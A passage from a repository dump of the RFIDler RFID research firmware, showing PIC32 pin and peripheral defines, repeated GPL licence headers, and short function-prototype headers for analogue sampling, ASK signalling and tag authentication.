DEBUG_PIN_4_TOGGLE()        DEBUG_PIN_4= !DEBUG_PIN_4\r\n\r\n// spi (sdi1) for sd card (not directly referenced)\r\n//#define SD_CARD_RX                  LATCbits.LATC4\r\n//#define SD_CARD_TX                  LATDbits.LATD0\r\n//#define SD_CARD_CLK                 LATDbits.LATD10\r\n//#define SD_CARD_SS                  LATDbits.LATD9\r\n// spi for SD card\r\n#define SD_CARD_DET                 LATFbits.LATF0\r\n#define SD_CARD_WE                  LATFbits.LATF1      // write enable - unused for microsd but allocated anyway as library checks it\r\n                                                        // (held LOW by default - cut solder bridge to GND to free pin if required)\r\n#define SPI_SD                      SPI_CHANNEL1\r\n#define SPI_SD_BUFF                 SPI1BUF\r\n#define SPI_SD_STAT                 SPI1STATbits\r\n// see section below for more defines!\r\n\r\n// iso 7816 smartcard\r\n// microchip SC module defines pins so we don't need to, but\r\n// they are listed here to help avoid conflicts\r\n#define ISO_7816_RX                 LATBbits.LATF2 // RX\r\n#define ISO_7816_TX                 LATBbits.LATF8 // TX\r\n#define ISO_7816_VCC                LATBbits.LATB9 // Power\r\n#define ISO_7816_CLK                LATCbits.LATD1 // Clock\r\n#define ISO_7816_RST                LATEbits.LATE8 // Reset\r\n\r\n// user LED\r\n#define USER_LED                    LATDbits.LATD7\r\n#define USER_LED_ON()               LATDbits.LATD7=1\r\n#define USER_LED_OFF()              LATDbits.LATD7=0\r\n\r\n// LCR\r\n#define LCR_CALIBRATE               LATBbits.LATB5\r\n\r\n// wiegand / clock & data\r\n#define WIEGAND_IN_0                PORTDbits.RD5\r\n#define WIEGAND_IN_0_PULLUP         CNPUEbits.CNPUE14\r\n#define WIEGAND_IN_0_PULLDOWN       CNPDbits.CNPD14\r\n#define WIEGAND_IN_1                PORTDbits.RD6\r\n#define WIEGAND_IN_1_PULLUP         CNPUEbits.CNPUE15\r\n#define WIEGAND_IN_1_PULLDOWN       CNPDbits.CNPD15\r\n#define CAND_IN_DATA                WIEGAND_IN_0\r\n#define CAND_IN_CLOCK               WIEGAND_IN_1\r\n\r\n#define WIEGAND_OUT_0               LATDbits.LATD3\r\n#define WIEGAND_OUT_1               LATDbits.LATD2\r\n#define WIEGAND_OUT_0_TRIS          TRISDbits.TRISD3\r\n#define WIEGAND_OUT_1_TRIS          TRISDbits.TRISD2\r\n#define CAND_OUT_DATA               WIEGAND_OUT_0\r\n#define CAND_OUT_CLOCK              WIEGAND_OUT_1\r\n\r\n// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier\r\n#define READER_CLOCK_ENABLE         LATEbits.LATE9\r\n#define READER_CLOCK_ENABLE_ON()    READER_CLOCK_ENABLE=CLOCK_ON\r\n#define READER_CLOCK_ENABLE_OFF(x)  {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}\r\n\r\n// these input pins must NEVER bet set to output or they will cause short circuits!\r\n// they can be used to see data from reader before it goes into or gate\r\n#define OR_IN_A                     PORTAbits.RA4\r\n#define OR_IN_B                     PORTAbits.RA5\r\n\r\n\r\n// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on\r\n#define Init_GPIO() { \\\r\n     CNCONbits.ON= TRUE; \\\r\n     CNENbits.CNEN14= TRUE; \\\r\n     CNENbits.CNEN15= TRUE; \\\r\n     TRISAbits.TRISA2= INPUT_PIN; \\\r\n     TRISAbits.TRISA4= INPUT_PIN; \\\r\n     TRISAbits.TRISA5= INPUT_PIN; \\\r\n     TRISAbits.TRISA14= OUTPUT_PIN; \\\r\n     TRISAbits.TRISA15= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB4= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB5= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB9= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB11= INPUT_PIN; \\\r\n     TRISBbits.TRISB12= INPUT_PIN; \\\r\n     TRISBbits.TRISB13= INPUT_PIN; \\\r\n     TRISCbits.TRISC1= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC2= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC3= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC4= INPUT_PIN; \\\r\n     TRISDbits.TRISD0= INPUT_PIN; \\\r\n     TRISDbits.TRISD1= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD2= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD3= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD4= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD5= INPUT_PIN; \\\r\n     TRISDbits.TRISD6= INPUT_PIN; \\\r\n     TRISDbits.TRISD7= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD8= INPUT_PIN; \\\r\n     TRISDbits.TRISD11= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD12= INPUT_PIN; \\\r\n     TRISEbits.TRISE0= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE1= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE2= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE3= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE5= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE6= INPUT_PIN; \\\r\n     TRISEbits.TRISE7= INPUT_PIN; \\\r\n     TRISEbits.TRISE8= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE9= OUTPUT_PIN; \\\r\n     TRISFbits.TRISF0= INPUT_PIN; \\\r\n     TRISFbits.TRISF1= INPUT_PIN; \\\r\n     TRISFbits.TRISF2= INPUT_PIN; \\\r\n     TRISFbits.TRISF8= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG6= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG12= INPUT_PIN; \\\r\n     TRISGbits.TRISG13= INPUT_PIN; \\\r\n     TRISGbits.TRISG9= OUTPUT_PIN; \\\r\n     LATBbits.LATB9= LOW; \\\r\n     LATCbits.LATC1= LOW; \\\r\n     LATCbits.LATC2= LOW; \\\r\n     LATCbits.LATC3= LOW; \\\r\n     LATDbits.LATD2= WIEGAND_IN_1; \\\r\n     LATDbits.LATD3= WIEGAND_IN_0; \\\r\n     LATEbits.LATE5= LOW; \\\r\n     LATEbits.LATE9= HIGH; \\\r\n     }\r\n\r\n// uart3 (CLI/API) speed\r\n#define BAUDRATE3       115200UL\r\n#define BRG_DIV3        4\r\n#define BRGH3           1\r\n\r\n// spi for potentiometer\r\n#define SPI_POT                     SPI_CHANNEL4\r\n#define SPI_POT_BUFF                SPI4BUF\r\n#define SPI_POT_STAT                SPI4STATbits\r\n\r\n// spi for sd card - defines required for Microchip SD-SPI libs\r\n// define interface type\r\n#define USE_SD_INTERFACE_WITH_SPI\r\n\r\n#define MDD_USE_SPI_1\r\n#define SPI_START_CFG_1     (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)\r\n#define SPI_START_CFG_2     (SPI_ENABLE)\r\n// Define the SPI frequency\r\n#define SPI_FREQUENCY\t\t\t(20000000)\r\n// Description: SD-SPI Card Detect Input bit\r\n#define SD_CD               PORTFbits.RF0\r\n// Description: SD-SPI Card Detect TRIS bit\r\n#define SD_CD_TRIS          TRISFbits.TRISF0\r\n// Description: SD-SPI Write Protect Check Input bit\r\n#define SD_WE               PORTFbits.RF1\r\n// Description: SD-SPI Write Protect Check TRIS bit\r\n#define SD_WE_TRIS          TRISFbits.TRISF1\r\n// Description: The main SPI control register\r\n#define SPICON1             SPI1CON\r\n// Description: The SPI status register\r\n#define SPISTAT             SPI1STAT\r\n// Description: The SPI Buffer\r\n#define SPIBUF              SPI1BUF\r\n// Description: The receive buffer full bit in the SPI status register\r\n#define SPISTAT_RBF         SPI1STATbits.SPIRBF\r\n// Description: The bitwise define for the SPI control register (i.e. _____bits)\r\n#define SPICON1bits         SPI1CONbits\r\n// Description: The bitwise define for the SPI status register (i.e. _____bits)\r\n#define SPISTATbits         SPI1STATbits\r\n// Description: The enable bit for the SPI module\r\n#define SPIENABLE           SPICON1bits.ON\r\n// Description: The definition for the SPI baud rate generator register (PIC32)\r\n#define SPIBRG              SPI1BRG\r\n// Description: The TRIS bit for the SCK pin\r\n#define SPICLOCK            TRISDbits.TRISD10\r\n// Description: The TRIS bit for the SDI pin\r\n#define SPIIN               TRISCbits.TRISC4\r\n// Description: The TRIS bit for the SDO pin\r\n#define SPIOUT              TRISDbits.TRISD0\r\n#define SD_CS               LATDbits.LATD9\r\n// Description: SD-SPI Chip Select TRIS bit\r\n#define SD_CS_TRIS          TRISDbits.TRISD9\r\n//SPI library functions\r\n#define putcSPI             putcSPI1\r\n#define getcSPI             getcSPI1\r\n#define OpenSPI(config1, config2)   OpenSPI1(config1, config2)\r\n\r\n// Define setup parameters for OpenADC10 function\r\n// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample\r\n#define ADC_CONFIG1     (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)\r\n// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode\r\n#define ADC_CONFIG2     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n\r\n// Use ADC internal clock | Set sample time\r\n#define ADC_CONFIG3     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)\r\n\r\n// slow sample rate for tuning coils\r\n#define ADC_CONFIG2_SLOW     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n#define ADC_CONFIG3_SLOW     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)\r\n\r\n// use AN11\r\n#define ADC_CONFIGPORT  ENABLE_AN11_ANA\r\n// Do not assign channels to scan\r\n#define ADC_CONFIGSCAN  SKIP_SCAN_ALL\r\n\r\n#define ADC_TO_VOLTS        0.003208F\r\n\r\n\r\n// flash memory - int myvar = *(int*)(myflashmemoryaddress);\r\n\r\n// memory is 0x9D005000 to 0x9D07FFFF\r\n\r\n#define NVM_MEMORY_END 0x9D07FFFF\r\n#define NVM_PAGE_SIZE\t4096\r\n#define NVM_PAGES       2       // config & VTAG\r\n#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))\r\n\r\n// UART timeout in us\r\n#define SERIAL_TIMEOUT                  100\r\n\r\n#endif\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/analogue.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nvoid init_adc(BOOL slow);\nvoid analogue_sample(unsigned int length, BOOL local_read);\nvoid analogue_xml_out(unsigned int length);\nunsigned long analogue_frequency(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/ask.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\nBOOL send_ask_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat);\nBOOL send_ask_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat);\nvoid write_ASK_HW_clock(unsigned int pulse, BYTE *data, unsigned int tpb, unsigned int repeat);\nBOOL ask_raw_get_uid(BYTE *response);\nBOOL ask_raw_hex_to_uid(BYTE *response, BYTE *hex);\nunsigned int read_ask_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format);\nBOOL read_ASK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, BOOL oneshot);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/auth.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\nBOOL tag_auth(unsigned int block, BYTE *response, BYTE *key);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/auto.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that 